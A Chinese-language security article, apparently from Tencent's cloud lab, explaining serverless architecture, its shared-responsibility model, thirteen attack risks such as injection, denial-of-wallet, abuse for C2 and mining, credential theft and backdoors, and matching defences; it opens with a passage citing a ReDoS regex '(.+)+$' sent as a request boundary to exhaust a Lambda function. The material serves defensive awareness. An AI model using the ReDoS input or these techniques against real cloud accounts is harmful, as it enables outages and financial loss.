在上述示例中,根据OWASP 对ReDoS的解释,我们可以看出攻击者选取了效率极低的正则表达式 (.+)+$作为boundary字段的值,上述恶意请求将会在短时间内引发100%的CPU占用率,在针对使用此漏洞库的AWS Lambda函数进行测试时,该函数会运行停止并最终超时,如果攻击者对AWS Lambda函数发送大量并发恶意请求,将会导致函数在单位时间内被大量执行,最终导致账户的账单受到损失。
参考链接:
https://www.anquanke.com/post/id/170130 https://www.imperva.com/zh/serverless-security-protection/ https://puming.zone/post/2021-1-26-serverless%E5%AE%89%E5%85%A8%E9%A3%8E%E9%99%A9%E4%B8%8E%E5%A8%81%E8%83%81/
Serverless安全揭秘:架构风险与防护措施
Serverless简介
Serverless(又称为无服务器)架构是一种全新的云计算模式,它是在容器技术和当前服务模式基础之上发展起来的,它更多的是强调后端服务与函数服务相结合,使开发者无需关注后端服务具体实现,而更侧重关注自己业务逻辑代码的实现。
随着云原生技术的不断发展,应用部署模式已逐渐趋向于“业务逻辑实现与基础设施分离”的设计原则。Serverless架构完美诠释了这种新型的应用部署模式和设计原则。从云原生整体发展路线来看,Serverless模式更趋近于云原生最终的发展方向。
Serverless实现方式:BaaS和FaaS
云计算发展历程从IaaS(Infrastructure as a Service,基础设施即服务)到PaaS(Platform as a Service,平台即服务),再到SaaS(Software-as-a-Service,软件即服务),逐渐的将去服务器化的趋势表现的愈发明显,而SaaS的下一个阶段可能就是
BaaS+FaaS+Others,即Serverless。
提到Serverless,我们首先得解下什么是BaaS和FaaS。
BaaS(Backend as a Service,后端即服务)和FaaS(Functions as a Service,函数即服务)是Serverless两种主要的实现方式。BaaS可以理解为是一个整合和开放各种在应用开发中需要的服务能力的平台,它通过创建大量重复的代码功能,方便应用基于服务的快速开发和构建。FaaS是Serverless主要的实现方式,开发者通过编写一段逻辑代码来定义函数调用方式,当事件触发时函数被调用执行。
FaaS本质上是一种事件驱动并由消息触发的服务,事件类型可以是一个HTTP请求,也可以是一次用户操作,函数可以看作是完成某个功能或任务的代码片段。相比传统应用运行模式,Serverless业务代码被拆分成了函数粒度,不同函数表示不同的功能,函数之间调用关系也更加复杂。
云计算发展历程与FaaS所处的地位
Serverless应用架构
通常Serverless应用都是基于无服务器应用框架Serverless Framework构建完成的。开发者无需关心底层资源,即可快速部署完整可用的Serverless应用架构,同时Serverless平台具有资源编排、自动伸缩、事件驱动等能力,覆盖编码、调试、测试、部署等全生命周期,帮助开发者联动各类云组件资源,迅速构建完整的 Serverless 应用。
目前常见的云厂商Serverless应用服务支持各类 Web 框架快速创建、迁移上云,可以实现Express、Next.js、Python Flask、PHP Laravel、Koa、Egg.js、Nuxt.js等框架应用的快速部署。开发者无需进行复杂的配置,通过Web Fuction即可快速搭建各类场景下的Serverless应用,轻松实现云函数、API网关、COS、DB 等资源的创建、配置和部署。Serverless提供从初始化、编码、调试、资源配置和部署发布,到业务监控告警、实时日志、故障排查的一站式解决方案。
从架构层面来看,Serverless由BaaS和FaaS共同构成了完整的应用架构。Serverless计算平台可以帮助开发者完成构建服务运行环境,开发者无需购买服务器,云厂商负责提供并维护基础设施资源和后端服务组件。Serverless架构具有自动扩缩容的特性,当应用部署后云计算平台会为Serverless应用提供足够的资源来支持应用稳定运行。
Serverless组件架构图
无服务器云函数(Serverless Cloud Function,SCF)是一种为企业和开发者们提供的无服务器执行环境。开发者通过Web IDE或者本地IDE编写代码,然后将代码和所需依赖一起打包部署到云函数平台。开发者会在业务代码中会提前定义好函数具体调用方式,如访问数据库、对象存储、第三方服务等接口,用户通过提前定义好的请求方式去访问对应的服务,平台会根据用户请求去拉起相应的计算资源运行业务代码。
Serverless运行原理图
安全风险共担模型
由于Serverless后端基础设施和服务主要是由云厂商负责的,但是Serverless应用本身是面向企业和开发者的,Serverless应用允许开发者上传自己的代码到服务端,同时允许开发者对应用配置做修改,若开发者上传的代码中包含漏洞或应用配置错误,将导致应用面临风险,因此Serverless安全问题相对复杂。
Serverless的安全风险责任划分可以参照Serverless安全风险共担模型。对于云厂商来说,首先需要保障云基础环境安全,包括所有的底层基础设施和后端服务软件的安全性。同时云厂商也担负着Serverless平台应用整体安全防护责任,借助API网关、云防护等优势来保障Serverless应用安全。对于用户来说,需要保证上传到服务端的代码是安全的、同时确保应用策略配置安全,避免代码中存在漏洞或策略配置不当导致安全风险。所以从本质上来说,Serverless的安全性是需要云厂商和用户双方共同承担的。
Serverless安全风险共担模型
Serverless安全风险
Serverless一般的攻击流程:攻击者通过应用程序漏洞或者组件漏洞实现初始访问权限,当获取到服务器权限后,攻击者会尝试查找并窃取用户凭据或服务凭据,然后利用可用凭证进一步横向攻击其他云服务。整个攻击过程包含但不限于以下攻击方式:
腾讯安全云鼎实验室根据自身安全实践,结合国内外众多相关案例,总结出了Serverless常见风险项,用以帮助开发以及运维人员识别各类风险,从而有效的保障Serverless应用安全。主要安全风险可参照下图:
Serverless安全风险
1.应用程序漏洞
对于Serverless应用而言,SQL注入、命令注入、XSS等传统漏洞风险在Serverless应用中同样存在。若Serverless应用在实现过程中没有对外部输入进行严格校验(包括用户输入和各应用间交互)则可能导致注入风险的发生。传统应用的注入防护一般是对用户输入进行过滤和限制,但是Serverless应用内部网络相比传统网络更加复杂,事件输入可能来自任何云服务(如服务器、云存储、电子邮件、消息服务等),因此仅仅依靠编写安全的代码和依赖传统WAF防护并不能完全杜绝注入风险的发生。
示例: 文件上传处未过滤用户输入导致命令执行漏洞。由于开发者在编写代码时使用了命令拼接的方式来构造路径,但是没有对文件名进行严格过滤,导致攻击者可以控制传入的内容,导致命令执行漏洞的产生。
2.拒绝钱包攻击
DoW(Denial of Wallet,拒绝钱包攻击)是针对云平台账户的DoS方式,其目的是通过高并发来耗尽用户账户可用余额。DoW攻击与传统拒绝服务(DoS)攻击方式类似,恶意攻击者向通过构造大量并发请求来触发函数调用,由于Serverless是按照资源使用量和函数调用次数来收费的,当有大量调用产生时,服务会自动扩展,这将导致用户账户可用余额快速被消耗。DoW攻击的一个典型的场景是在用户订阅web程序上生成大量虚假用户,通过大量用户访问API端点造成大量资源消耗导致账户金额耗尽。
3.资源滥用风险
近年来,随着Severless的快速发展,各种服务滥用现象也相继出现,主要体现在云函数滥用和Serverless基础设施滥用。云函数常被恶意人员用作构建代理池、隐藏C2和构建webshell,恶意人员通过构建此类应用来达到隐藏其客户端真实IP的目的。Serverless应用也常被用于构建扫描、钓鱼等攻击平台,攻击者通过构建此类应用来实现对外部系统的扫描探测、钓鱼窃取用户数据等目的。这些滥用行为导致云基础设施资源被恶意利用和消耗,给云服务的正常使用和监测带来了极大的困扰。
示例: 使用Serverless构建扫描应用导致服务滥用。恶意攻击人员通过上传代码构建扫描应用,通过本地调用云函数资源来实现动态IP扫描的目的。
4.第三方API和组件不安全接入
由于Serverless服务一般会接入多个云服务组件,包括云API、API网关、事件触发器等。若云服务或组件在接入Serverless服务时未对组件身份或接收数据进行校验,则可能导致安全风险的发生。接入数据源的增加会导致攻击面扩大,传统应用只能从单一服务器上获取敏感数据,而Serverless应用通常会接入大量数据源,若攻击者针对各数据源进行攻击,则可能获取到大量敏感数据。
5.供应链攻击风险
近年来,供应链安全事件时有发生,一些严重的漏洞可能来自于开源库和框架,nodejs生态系统的一项统计表明通常我们部署的97%的代码来自于开源库和开源组件,所以供应链攻击对Serverless来说是一项非常重要的安全风险。
6.运行时安全风险
若攻击者已经通过某种方式获得了Serverless服务器权限后,则可能通过替换引导程序的方式攻击Serverless应用服务,从而导致Serverless应用实例被接管。如果攻击者可以修改Serverless ACL策略,则可以通过修改函数超时时间,增加服务冷启动时间,或者通过Serverless预热插件增加运行时时长等方式实现持久化控制。
7.配置不当导致权限滥用
当Serverless存在不安全的IAM配置时,将导致可执行恶意操作以及进行云平台身份越权。Serverless构建的应用程序通常包含数十或数百个函数,每个函数都有自己特定的功能和用途,这些功能被编织在一起并被编排以形成整个系统逻辑。一些函数可能会公开公共的WEB API接口,因此需要强大的身份验证方案为相关功能、事件触发提供访问控制保护。当创建IAM策略时,如果没有遵循最小权限原则,则可能导致分配给函数的IAM角色过于宽松,攻击者可能会利用函数中的漏洞横向移动到云账户中的其它资源。
8.日志和监控不足
传统的应用已经有比较成熟的日志管理和分析工具,而Serverless函数级别的日志分析工具还未被广泛采用。由于Serverless应用函数数量多、生命周期短,各函数间调用关系复杂,因此任何一个点都可能成为攻击突破口。对于云厂商来说,需要具备完备的安全防护和应用监测体系,才能更好的保障Serverless应用和服务的安全。
9.云环境网络攻击风险
攻击者可利用漏洞或错误的云平台架构配置,从公有云环境横向移动到云管理内部网络(如公有云到IDC网络);或者从公有云网络横向移动到客户构建的网络环境中,导致严重的攻击事件产生。
10.云特性攻击风险
利用云上服务的特性,也可展开更多的攻击,例如通过Serverless服务窃取到云服务凭据或角色临时访问凭据等信息后,可利用这些凭据获取对应服务的相应控制权限;又或是利用容器逃逸漏洞进行更深入攻击操作等。
11.云资源消耗攻击风险
挖矿攻击作为一种较为常见的攻击形式,其威胁在云环境中也同样存在,Serverless服务同样存在云资源消耗攻击风险,攻击者攻击Serverless服务用以进行挖矿操作,消耗客户的资源和资金,给客户造成影响。攻击者瞄准云上脆弱资产,将挖矿木马植入云资源中进行挖矿,这将导致客户资源受到较大威胁。
12.密钥存储风险
Serverless服务中同样存在密钥以及凭据的存储安全风险,攻击者可以利用漏洞,在Serverless服环境变量中获取凭证、或是在代码中查找明文编写的密钥。
13.后门持久化风险
利用Serverless服务的弹性原则,与传统攻击所部署的后门相比,攻击者可以在Serverless服务中构建更加隐蔽的后门。通过利用这些后门,可以达到持久化攻击的效果。
Serverless防护措施
我们根据大量数据和实际案例,结合Serverless各类风险总结出了Serverless风险防护措施。通过了解这些安全防护手段,可以帮助开发以及运维人员识别并消除各类风险,从而更好的保障云上资产安全。主要的安全防护措施总结如下:
Serverless安全防护
1.使用安全漏洞缓解措施
Serverless的安全性依靠用户和云厂商共同来保障,对于开发人员来说,最基础的要求开发人员编写代码时遵循安全开发原则,保证业务代码本身不存在安全漏洞;其次需要保证Serverless应用配置安全,避免因为配置不当导致不安全风险的发生。对于云厂商来说,需要保证Serverless应用与其他云服务组件的接口调用安全,对于重要的功能需要在功能模块之间放置防火墙做好隔离,当基础应用存在注入等问题时,防火墙会起到一定缓解作用。其次由于Serverless通常接入应用组件和数据较多,因此需要使用https/tls来保障数据在传输过程中的安全性,同时使用KMS(Key Management Service,密钥管理系统)来保障服务运行时的密钥使用安全,避免将密钥等敏感数据硬编码或写入环境变量中。
2.Dos攻击缓解与防护
开发者通过编写高效的Serverless函数来执行离散的目标任务,为Serverless功能执行设置适当的超时时间和磁盘使用限制,通过对API调用设置请求限制,对Serverless功能实施适当的访问控制等来缓解Dos攻击风险。同时使用不易受到ReDos等应用层Dos攻击的API、模块和库来避免Dos问题的产生。
3.Serverless滥用防护
针对Serverless滥用问题,需要从Serverless应用本身做限制,如限制某些库和方法的使用,通过有效监控和阻断来提高Serverless服务滥用的门槛,完善异常事件发现和监测机制,当发现滥用行为时及时触发告警和阻断滥用行为。
4.第三方依赖库防护
由于Serverless依赖于第三方组件和库构建应用程序和运行环境,因此第三方依赖库的安全性直接影响到Serverless应用和平台的安全。构建完善的第三方依赖库防护和监测机制对保障Serverless应用安全起到极大的意义。
5.IAM访问控制防护
在Serverless中,运行的最小单元通常为一个个函数,Serverless中最小特权原则通过事先定义一组具有访问权限的角色,并赋予函数不同的角色,从而可以实现函数层面的访问控制,避免统一的权限分配导致的各类安全风险。
6.Serverless平台防护
对于云厂商而言,要避免使用过时的函数和云资源,重复利用资源虽然有助于节约成本,但是会导致Serverless攻击面增加,因此必须定期清理服务器环境,删除未使用的角色,身份和依赖项等。其次要避免重用执行环境,对于云厂商而言,在两次调用之间保留执行环境,可以提高调用效率,但是当执行环境被保留下来时,部分敏感数据可能会被保留下来,这将导致一定的安全风险。
7.完善安全监控和日志记录
由于函数的生命周期极短,并且随着扩展部署越来越多的函数,函数调用数量不断增加,各函数功能之间存在复杂的关联性,攻击可能从任何一个点发起。因此需要建立完善监控机制,例如使用函数级别的日志分析工具来提高监控能力,及时发现攻击行为。
腾讯云Serverless应用服务目前已经具备完善的安全防护体系。以腾讯云云函数(SCF)为例,在密钥安全管理上,腾讯云使用了密钥管理系统(Key Management Service,KMS)。KMS使用经过第三方认证的硬件安全模块 HSM(Hardware Security Module)来生成和保护密钥,实现密钥全生命周期管理和保障数据安全能力。同时云函数也完善了配套的监控和告警机制,提供如调用次数、内存使用、并发使用、超时、代码错误等多维度的监控和告警能力,帮助运维人员轻松实现应用后期维护。对于基础设施、资源管理、安全管控、容灾等能力是云函数平台必备的基础能力,也是云平台的核心能力。
密钥管理系统(KMS)产品架构图
云安全攻防矩阵V3.0发布
腾讯安全云鼎实验室根据自身安全实践,结合国内外相关案例,对云上主流应用安全风险进行抽象,绘制出了云安全攻防矩阵。企业和开发者可参照该矩阵了解云服务攻击手法,帮助开发以及运维人员识别各类风险。我们的云安全攻防矩阵V3.0已经发布了,此次新增了Serverless安全矩阵模块,目前3.0版本已经涵盖云服务器、容器、cos存储桶、Serverless等主流云服务。也欢迎大家积极踊跃与我们沟通交流,一起为维护云安全贡献力量。矩阵详情可查看云鼎实验室官网:
https://cloudsec.tencent.com/home/
写在后面
Serverless作为一种新的技术和架构模式,虽然起步较晚但发展迅猛,短短几年时间已经推出多款备受开发者追捧的应用,吸引了大批开发者的关注。作为一个相对比较新鲜的事物,Serverless还有很多领域和价值值得我们去探索。随着容器技术、IoT、5G、区块链等新兴技术的发展,技术上也逐渐趋向于中心化、轻量虚拟化、细粒度计算等,而Serverless也将借势发展,相信不久的将来Serverless必将在云计算的舞台上大放异彩。
参考链接
http://www.ccopsa.cn/QiantaiZiyuanXiazaiWendang/WenjianXiazai?key=1166d80a-da24-4a59-8fdc-9d15c01ca9af
https://www.youtube.com/watch?v=ILJozDEQ-aw
https://mp.weixin.qq.com/s/kNawzZowQt8hwiE5Z8wIQQ
https://mp.weixin.qq.com/s/rbS0_42RBiFu8UFFQW4kew
https://mp.weixin.qq.com/s/dzvQQNFGBTfF7TvowaowFA
https://mp.weixin.qq.com/s/0Lq7hX2WdC96rVQgkBXunA
https://mp.weixin.qq.com/s/duF1Z0EDC3n_G378Aq_XYA
https://owasp.org/www-project-serverless-top-10/
https://github.com/neargle/my-re0-k8s-security
https://snyk.io/blog/10-serverless-security-best-practices/
https://project-awesome.org/pmuens/awesome-serverless
https://toutiao.io/posts/jx6yyi3/preview
https://github.com/puresec/sas-top-10
https://www.youtube.com/watch?v=ILJozDEQ-aw
https://www.youtube.com/watch?v=tlZ2PIXTHxc
https://mp.weixin.qq.com/s/XuAlWNhrGvRrge4JdEZ62A
https://www.sciencedirect.com/science/article/pii/S221421262100079X
https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/
以上是关于Serverless安全风险研究的主要内容,如果未能解决你的问题,请参考以下文章
海外 | 无服务器体系架构(Serverless architectures)安全问题探秘